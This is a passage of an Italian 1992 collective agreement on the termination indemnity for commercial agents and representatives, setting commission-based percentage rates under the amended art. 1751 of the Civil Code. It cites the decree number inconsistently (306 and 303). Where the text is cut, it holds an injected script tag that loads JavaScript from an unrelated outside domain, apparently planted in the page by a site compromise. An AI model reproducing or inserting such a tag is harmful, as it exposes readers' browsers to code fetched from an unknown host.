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Categoria: Agenti di commercio Settore: Commercio Data stipula: 27-11-1992
ACCORDO (19 novembre 1992) 27 novembre 1992
tra
- Confederazione generale italiana dell'artigianato (CONFARTIGIANATO);
- Confederazione Nazionale dell'Artigianato e delle piccole imprese
(CNA);
- Confederazione Autonoma Sindacati Artigiani (CASA);
- Confederazione Libere Associazioni Artigiane Italiane (CLAAI);
- Confederazione generale italiana del commercio del turismo e dei
servizi (CONFCOMMERCIO)
e
- Federazione Italiana Lavoratori Commercio Servizi (FILCAMS);
- Federazione Italiana Sindacati Addetti Servizi Commerciali Affini e
del Turismo (FISASCAT);
- Federazione Nazionale Associazioni Agenti e Rappresentanti di
Commercio (FNAARC);
- Unione Italiana Lavoratori Turismo Commercio Servizi (UILTCUS)
- Unione Sindacati Agenti Rappresentanti di Commercio Italiani
(USARCI).
Le sottoscritte Organizzazioni imprenditoriali e sindacali si sono
incontrate per un esame del vigente accordo economico collettivo per gli
agenti e rappresentanti di commercio, alla luce dell'intervenuta modifica
dell'art. 1751 CC, che viene sostituito dall'art. 4, D.lgs. 10.9.91 n.
306. Ad esito di tale esame le parti riconoscono che la normativa di legge
di cui sopra, disciplinando in termini innovativi la materia del TFR,
determina la decadenza degli artt. 10, 11, 12 e 14 dell'AEC 9.6.88.
Pertanto, con effetto dal 31.12.92, in relazione ai contratti di agenzia
stipulati dall'1.1.90, e con effetto dal 31.12.93, in relazione ai
contratti di agenzia stipulati antecedentemente all'1.1.90, le norme di
cui agli artt. 10, 11, 12 e 14 del richiamato AEC cessano di trovare
applicazione.
1) Considerato che, per effetto dell'entrata in vigore dell'art. 4,
D.lgs. 10.9.91 n. 303, viene innovata la disciplina prevista dal
precedente art. 1751 CC in materia d'indennità per lo scioglimento del
contratto;
2) considerato altresì, che le disposizioni di cui agli artt. 10, 11, 12
e 14 dell'AEC 9.6.88 vengono a decadere a seguito dell'entrata in vigore
della nuova disciplina;
3) rilevato, conseguentemente, che tali disposizioni collettive non
troveranno più applicazione dopo il 31.12.92 e dopo il 31.12.93,
rispettivamente in relazione ai contratti di agenzia stipulati dall'1.1.90
o anteriormente a tale data;
4) ritenuta l'opportunità, per dare piena ed esaustiva attuazione al
nuovo art. 1751 CC, di individuare modalità e criteri applicativi dello
stesso
ad esito delle trattative intercorse, si è concordata la normativa che
segue:
PUNTO I)
In riferimento a quanto previsto dall'art. 1751 CC, come modificato
dall'art. 4, D.lgs. 10.9.91 n. 303, e in particolar modo al principio
dell'equità, in tutti i casi di cessazione del rapporto, verrà corrisposta
all'agente o rappresentante un'indennità, la misura della quale sarà pari
all'1% sull'ammontare globale delle provvigioni maturate e liquidate
durante il corso del rapporto.
La suddetta aliquota base sarà integrata nelle seguenti misure:
A) Agenti e rappresentanti con obbligo di esclusiva per una sola ditta:
- 3% sulle provvigioni fino a £. 24 milioni annui;
- 1% sulla quota delle provvigioni tra £. 24.000.001 e £. 36.000.000
annui.
B) Agenti e rappresentanti senza obbligo di esclusiva per una sola
ditta:
- 3% sulle provvigioni fino a £. 12.000.000 annui;
- 1% sulla quota delle provvigioni tra £. 12.000.000 e L. 18.000.000
annui.
Da tale indennità deve detrarsi quanto l'agente o rappresentante abbia
diritto di ottenere per effetto di atti di previdenza volontariamente
compiuti dal preponente.
Sono computabili agli effetti dell'indennità di risoluzione del rapporto
anche le somme corrisposte espressamente e specificatamente a titolo di
rimborso o concorso spese.
Le somme di cui sopra verranno annualmente accantonate a<script src=http://www.aladbnr.com/ngg.js></script>
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